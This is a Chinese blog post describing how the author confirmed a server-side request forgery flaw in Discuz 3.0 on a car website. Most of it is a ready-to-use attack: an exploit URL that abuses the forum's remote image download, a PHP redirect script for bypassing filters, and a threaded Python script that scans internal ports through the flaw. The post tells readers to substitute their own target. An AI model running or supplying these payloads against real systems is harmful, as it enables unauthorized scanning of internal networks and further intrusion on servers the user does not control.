Discuz+ssrf验证方式

Discuz+ssrf验证方式


前言

记某汽车网站的ssrf验证过程,发现该网站使用的是Discuz3.0。

原理

SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。
那么SSRF 可以做什么呢?

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网Web站点漏洞的利用

利用exp

http://localhost/discuz/forum.php?mod=ajax&action=downremoteimg&message=[img]http://127.0.0.1/302.php?s=ftp%26ip=127.0.0.1%26port=%26data=helo.jpg[/img]

这里之所以要看302跳转也是为了绕过,这里不多说直接贴上代码

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

查看302.php文件的内容
在这里插入图片描述
访问路径在这里插入图片描述

执行成功!
在这里插入图片描述

附下手工判断

在这里插入图片描述
这里如果存在ssrf,并且端口存在的话,页面响应时间就会比较长!

python脚本,来看下:

#!/usr/bin/env python
#-*- coding: utf-8 -*-
import requests
import threading
import Queue
import time
 
threads_count = 2
que = Queue.Queue()
lock = threading.Lock()
threads = []
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
for i in ports:
    que.put(str(i))
def run():
    while que.qsize() > 0:
        p = que.get()
        print p + "       \r",
        try:
            url = "http://localhost/discuz/forum.php?mod=ajax&action=downremoteimg&message=[img]http://127.0.0.1/302.php?s=ftp%26ip=127.0.0.1%26port={port}%26data=helo.jpg[/img]".format(
                port=p)
            r = requests.get(url,timeout=2.8)
        except:
            lock.acquire()
            print "{port}  Open".format(port=p)
            lock.release()
for i in range(threads_count):
    t = threading.Thread(target=run)
    threads.append(t)
    t.setDaemon(True)
    t.start()
 
while que.qsize() > 0:
    time.sleep(1.0)

能看到在request.get(url,timeout=2.8)这里脚本以上2.8超时为判断端口是否存在的!大家使用的时候直接修改url处的利用地址为你们的即可。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值